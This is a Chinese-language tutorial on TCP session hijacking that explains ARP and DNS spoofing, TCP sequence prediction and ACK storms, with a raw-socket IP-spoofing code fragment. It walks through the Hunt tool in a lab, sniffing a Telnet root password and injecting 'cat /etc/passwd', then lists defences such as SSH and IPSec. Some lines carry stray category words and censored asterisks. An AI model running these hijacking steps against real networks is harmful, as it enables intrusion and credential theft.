白帽子技術分析會話劫持實戰講解

前言
編程


  一般,你們所說的hack,都是針對一臺主機,在得到管理員權限後,就非常得意;其實,真正的hacker是佔領整個內部網絡。針對內部網絡的hack方法比較多,但比較有效的方法非ARP欺騙、DNS欺騙莫屬了。可是,無論使用什麼技術,無非都是抓取目標的數據包,而後分析出敏感數據。若是目標內部採用的是共享式網絡(採用HUB集線器連網),那隻須要把網卡設置爲「混雜模式」,掛上嗅探器(Sniffer),就能簡聽到你想獲得的數據。若是是交換式網絡(採用交換機連網),這樣方法就行不通了,由於對於嗅探器,有三種網絡環境是沒法跨越的:「網橋」、「交換機」、「路由器」。惋惜,對於ARP欺騙,交換式網絡仍是無能爲力,若是咱們藉助ARP欺騙,在實現更高一層的「***手段」,從而真正的控制內部網絡。這也就是本文要敘述的會話劫持***……瀏覽器


  1、會話劫持原理安全


  一、什麼是會話劫持bash


  在現實生活中,好比你去市場買菜,在交完錢後你要求先去幹一些別的事情,稍候再來拿菜;若是這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?!固然,這只是一個比喻,但這偏偏就是會話劫持的喻意。所謂會話,就是兩臺主機之間的一次通信。例如你Telnet到某臺主機,這就是一次Telnet會話;你瀏覽某個網站,這就是一次HTTP會話。而會話劫持(Session Hijack),就是結合了嗅探以及欺騙技術在內的***手段。例如,在一次正常的會話過程中,***者做爲第三方參與到其中,他能夠在正常數據包中插入惡意數據,也能夠在雙方的會話當中進行簡聽,甚至能夠是代替某一方主機接管會話。咱們能夠把會話劫持***分爲兩種類型:1)中間人***(Man In The Middle,簡稱MITM),2)注射式***(Injection);而且還能夠把會話劫持***分爲兩種形式:1)被動劫持,2)主動劫持;被動劫持實際上就是在後臺監視雙方會話的數據流,叢中得到敏感數據;而主動劫持則是將會話當中的某一臺主機「踢」下線,而後由***者取代並接管會話,這種***方法危害很是大,***者能夠作不少事情,好比「cat etc/master.passwd」(FreeBSD下的Shadow文件)。服務器


  MITM***簡介網絡


  這也就是咱們常說的「中間人***」,在網上討論比較多的就是SMB會話劫持,這也是一個典型的中間人***。要想正確的實施中間人***,***者首先須要使用ARP欺騙或DNS欺騙,將會話雙方的通信流暗中改變,而這種改變對於會話雙方來講是徹底透明的。關於ARP欺騙***防線介紹的比較多,網上的資料也比較多,我就不在多說了,我只簡單談談DNS欺騙。DNS(Domain Name System),即域名服務器,咱們幾乎每天都要用到。對於正常的DNS請求,例如在瀏覽器輸入,而後系統先查看Hosts文件,若是有相對應的IP,就使用這個IP地址訪問網站(其實,利用Hosts文件就能夠實現DNS欺騙);若是沒有,纔去請求DNS服務器;DNS服務器在接收到請求以後,解析出其對應的IP地址,返回給我本地,最後你就能夠登錄到***防線的網站。而DNS欺騙則是,目標將其DNS請求發送到***者這裏,而後***者僞造DNS響應,將正確的IP地址替換爲其餘IP,以後你就登錄了這個***者指定的IP,而***者早就在這個IP中安排好了惡意網頁,可你卻在不知不覺中已經被***者下了「套」……DNS欺騙也能夠在廣域網中進行,比較常見的有「Web服務器重定向」、「郵件服務器重定向」等等。但無論是ARP欺騙,仍是DNS欺騙,中間人***都改變正常的通信流,它就至關於會話雙方之間的一個透明代理,能夠獲得一切想知道的信息,甚至是利用一些有缺陷的加密協議來實現。socket


  注射式***簡介tcp


  這種方式的會話劫持比中間人***實現起來簡單一些,它不會改變會話雙方的通信流,而是在雙方正常的通信流插入惡意數據。在注射式***中,須要實現兩種技術:1)IP欺騙,2)預測TCP序列號。若是是UDP協議,只需僞造IP地址,而後發送過去就能夠了,由於UDP沒有所謂的TCP三次握手,但基於UDP的應用協議有流控機制,因此也要作一些額外的工做。對於IP欺騙,有兩種狀況須要用到:1)隱藏本身的IP地址;2)利用兩臺機器之間的信任關係實施***。在Unix/Linux平臺上,能夠直接使用Socket構造IP包,在IP頭中填上虛假的IP地址,但須要root權限;在Windows平臺上,不能使用Winsock,須要使用Winpacp(也可使用Libnet)。例如在Linux系統,首先打開一個Raw Socket(原始套接字),而後本身編寫IP頭及其餘數據。能夠參考下面的實例代碼:ide


sockfd = socket(AF_INET, SOCK_RAW, 255);工具

setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));


struct ip *ip;

struct tcphdr *tcp;

struct pseudohdr pseudoheader;

ip->ip_src.s_addr = xxx;

pseudoheader.saddr.s_addr = ip->ip_src.s_addr;

tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));    

sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));


  對於基於TCP協議的注射式會話劫持,***者應先採用嗅探技術對目標進行簡聽,而後從簡聽到的信息中構造出正確的序列號,若是不這樣,你就必須先猜想目標的ISN(初始序列號),這樣無形中對會話劫持加大了難度。那爲何要猜想會話雙方的序列號呢?請繼續往下看。

  


  二、TCP會話劫持


  本文主要敘述基於TCP協議的會話劫持。若是劫持一些不可靠的協議,那將垂手可得,由於它們沒有提供一些認證措施;而TCP協議被欲爲是可靠的傳輸協議,因此要重點討論它。


  根據TCP/IP中的規定,使用TCP協議進行通信須要提供兩段序列號,TCP協議使用這兩段序列號確保鏈接同步以及安全通信,系統的TCP/IP協議棧依據時間或線性的產生這些值。在通信過程當中,雙方的序列號是相互依賴的,這也就是爲何稱TCP協議是可靠的傳輸協議(具體可參見RFC 793)。若是***者在這個時候進行會話劫持,結果確定是失敗,由於會話雙方「不認識」***者,***者不能提供合法的序列號;因此,會話劫持的關鍵是預測正確的序列號,***者能夠採起嗅探技術得到這些信息。


  TCP協議的序列號


  如今來討論一下有關TCP協議的序列號的相關問題。在每個數據包中,都有兩段序列號,它們分別爲:


SEQ:當前數據包中的第一個字節的序號

ACK:指望收到對方數據包中第一個字節的序號


  假設雙方如今須要進行一次鏈接:


S_SEQ:將要發送的下一個字節的序號

S_ACK:將要接收的下一個字節的序號

S_WIND:接收窗口

//以上爲服務器(Server)

C_SEQ:將要發送的下一個字節的序號

C_ACK:將要接收的下一個字節的序號

C_WIND:接收窗口

//以上爲客戶端(Client)


它們之間必須符合下面的邏輯關係,不然該數據包會被丟棄,而且返回一個ACK包(包含指望的序列號)。

C_ACK <= C_SEQ <= C_ACK + C_WIND

S_ACK <= S_SEQ <= S_ACK + S_WIND


  若是不符合上邊的邏輯關係,就會引伸出一個「致命弱點」,具體請接着往下看。


  致命弱點


  這個致命的弱點就是ACK風暴(Storm)。當會話雙方接收到一個不指望的數據包後,就會用本身指望的序列號返回ACK包;而在另外一端,這個數據包也不是所指望的,就會再次以本身指望的序列號返回ACK包……因而,就這樣來回往返,造成了惡性循環,最終致使ACK風暴。比較好的解決辦法是先進行ARP欺騙,使雙方的數據包「正常」的發送到***者這裏,而後設置包轉發,最後就能夠進行會話劫持了,並且沒必要擔憂會有ACK風暴出現。固然,並非全部系統都會出現ACK風暴。好比Linux系統的TCP/IP協議棧就與RFC中的描述略有不一樣。注意,ACK風暴僅存在於注射式會話劫持。


  TCP會話劫持過程


  假設如今主機A和主機B進行一次TCP會話,C爲***者,劫持過程以下:


A向B發送一個數據包

SEQ (hex): X ACK (hex): Y

FLAGS: -AP--- Window: ZZZZ,包大小爲:60


B迴應A一個數據包

SEQ (hex): Y ACK (hex): X+60

FLAGS: -AP--- Window: ZZZZ,包大小爲:50


A向B迴應一個數據包

SEQ (hex): X+60 ACK (hex): Y+50

FLAGS: -AP--- Window: ZZZZ,包大小爲:40


B向A迴應一個數據包

SEQ (hex): Y+50 ACK (hex): X+100

FLAGS: -AP--- Window: ZZZZ,包大小爲:30


***者C冒充主機A給主機B發送一個數據包

SEQ (hex): X+100 ACK (hex): Y+80

FLAGS: -AP--- Window: ZZZZ,包大小爲:20


B向A迴應一個數據包

SEQ (hex): Y+80 ACK (hex): X+120

FLAGS: -AP--- Window: ZZZZ,包大小爲:10


  如今,主機B執行了***者C冒充主機A發送過來的命令,而且返回給主機A一個數據包;可是,主機A並不能識別主機B發送過來的數據包,因此主機A會以指望的序列號返回給主機B一個數據包,隨即造成ACK風暴。若是成功的解決了ACK風暴(例如前邊提到的ARP欺騙),就能夠成功進行會話劫持了。


  關於理論知識就說到這裏,下面我以具體的實例演示一次會話劫持。


  2、會話劫持實踐


  一、嘮叨幾句


  能夠進行會話劫持的工具不少,比較經常使用有Juggernaut,它能夠進行TCP會話劫持的網絡Sniffer程序;TTY Watcher,而它是針對單一主機上的鏈接進行會話劫持。還有如Dsniff這樣的工具包也能夠實現會話劫持,只是看你會不會使用了。但,能將會話劫持發揮得淋漓盡致的,還要算Hunt這個工具了。它的做者是Pavel Krauz,能夠工做在Linux和一些Unix平臺下。它的功能很是強大,首先,不管是在共享式網絡仍是交換式網絡,它均可以正常工做;其次,能夠進行中間人***和注射式***。還能夠進行嗅探、查看會話、監視會話、重置會話。經過前面的敘述,咱們知道在注射式***中,容易出現ACK風暴,解決辦法是先進行ARP欺騙;而使用Hunt進行注射式***時,它並不進行ARP欺騙,而是在會話劫持以後,向會話雙方發送帶RST標誌位的TCP包以中斷會話,避免ACK風暴繼續下去。而中間人***是先進行ARP欺騙,而後進行會話劫持。Hunt目前最新版本是1.5,能夠到Pavel Krauz網站下載源代碼包和二進制文件:~kra/#hunt。


  如今來看看若是使用Hunt,首先是下載並編譯源代碼:


[root@dahubaobao hunt]#wget

[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz

[root@dahubaobao hunt]#cd hunt-1.5

[root@dahubaobao hunt-1.5]#make

[root@dahubaobao hunt-1.5]#./hunt

//Hunt是徹底交互試的操做

解釋一下各個選項的含義

l/w/r) list/watch/reset connections

//l(字母l)爲查看當前網絡上的會話;w爲監視當前網絡上的某個會話;r爲重置當前網絡上的某個會話。

a) arp/simple hijack (avoids ack storm if arp used)

//中間人***(會話劫持),Hunt先進行ARP欺騙,而後進行會話劫持。使用此方法能夠避免出現ACK風暴。

s) simple hijack

//簡單的會話劫持,也就是注射式***。會出現ACK風暴。

d) daemons rst/arp/sniff/mac

//該選項共實現四個功能,分別爲:終止會話,自動發送帶RST標誌位的TCP包;ARP欺騙後進行數據包轉發;不用說了,嗅探功能;在當前網絡上收集MAC地址。

其餘的選項很簡單,不在多說了。仍是來看看具體的例子吧,我想你們都等不及了!^_^


  二、應用實例


  測試環境:


  ***者:Red Hat Linux 9.0 IP:192.168.0.10

  主機A:Windows Advanced Server IP:192.168.0.1

  主機B:FreeBSD 4.9 STABLE IP:192.168.0.20


[root@dahubaobao hunt-1.5]#./hunt

/*

* hunt 1.5

* multipurpose connection intruder / sniffer for Linux

* (c) 1998-2000 by kra

*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> l //查看當前網絡上的會話

0)192.168.0.1 [3465] ?192.168.0.20 [23]

//主機A正在Telnet到主機B


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> w //監視當前網絡上的會話

0)192.168.0.1 [3465] ?192.168.0.20 [23]

Choose conn>0 //選擇打算監視的會話。因爲個人條件有限,不能模擬多個會話,請多見量。

Dump [s]rc/[d]st/[b]oth [b]> //回車

Print sec/dst same charactes y/n [n]> //回車


  如今就能夠監視會話了。主機A輸入的一切內容,咱們均可以看到。主機A在Telnet並登錄以後,直接su root,password:後邊的就是root的密碼。如今這個系統已經徹底由你所控制了,自由發揮吧!


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> s //進行注射式會話劫持

0)192.168.0.1 [3465] ?192.168.0.20 [23]

choose conn> 0

dump connection y/n [n]>

Enter the command string you wish executed or [cr]> cat /etc/passwd

***者的意圖是獲取主機B的passwd文件的內容,但因爲注射式會話劫持缺陷,致使了ACK風暴,因此Hunt向會話雙方發送了一個帶RST標誌位的TCP包來阻止ACK風暴。


--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------

l/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

s) simple hijack

d) daemons rst/arp/sniff/mac

o) options

x) exit

*> a //進行中間人會話劫持

0)192.168.0.1 [3862] ?192.168.0.20 [23]

choose conn> 0

arp spoof src in dst y/n [y]>

src MAC [XX:XX:XX:XX:XX:XX]>

arp spoof dst in src y/n [y]>

dst MAC [XX:XX:XX:XX:XX:XX]>

input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>

dump connectin y/n [y]> n

press key to take voer of connection

ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA

ILED

do you want to force arp spoof nutil successed y/n [y]>

CTRL-C to break

CTRL+C //手工輸入CTRL+C中斷,不需等待

-- operation canceled - press any key>

ARP spoof failed

ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED

you took over the connection

CTRL-] to break

-bash-2.05b$id

....................


  如今,***者已經成功的劫持了主機A和B之間的Telnet會話。主機A輸入的一切命令***者均可以看到,而且***者也能夠自行插入命令。正如前邊所說的,這種會話劫持方式先進行ARP欺騙,而後才劫持,因此,ACK風暴是不會出現的;並且,這種方式要比注射式會話劫持危害更大,從上文中我想就能看出來,我就沒必要在多說什麼了。還有一些如Sniffer等功能,都很簡單,因爲已不在本文範疇,故不在多說。


  3、會話劫持防範


  防範會話劫持是一個比較大的工程。首先應該使用交換式網絡替代共享式網絡,雖然像Hunt這樣的工具能夠在交換環境中實現會話劫持,但仍是應該使用交換式網絡替代共享式網絡,由於這樣能夠防範最基本的嗅探***。然而,最根本的解決辦法是採用加密通信,使用SSH代替Telnet、使用SSL代替HTTP,或者乾脆使用IPSec/×××,這樣會話劫持就無用武之地了。其次,監視網絡流量,如發現網絡中出現大量的ACK包,則有可能已被進行了會話劫持***。


  還有一點是比較重要的,就是防範ARP欺騙。實現中間人***的前提是ARP欺騙,如能阻止***者進行ARP欺騙,中間人***還怎樣進行?!如何防範ARP欺騙,***防線有過詳細的介紹,能夠參考2003年第9期雜誌。


  總結


  對於***內部網絡,會話劫持確實是一種比較有效的方法,咱們應該掌握。本文的實踐性很強,請你們務必動手試試,並但願能掌握此技術。Hunt這個強悍的工具使用方法很簡單,但卻能夠把會話劫持發揮淋漓盡致,真佩服做者的編程功底

相關文章
相關標籤/搜索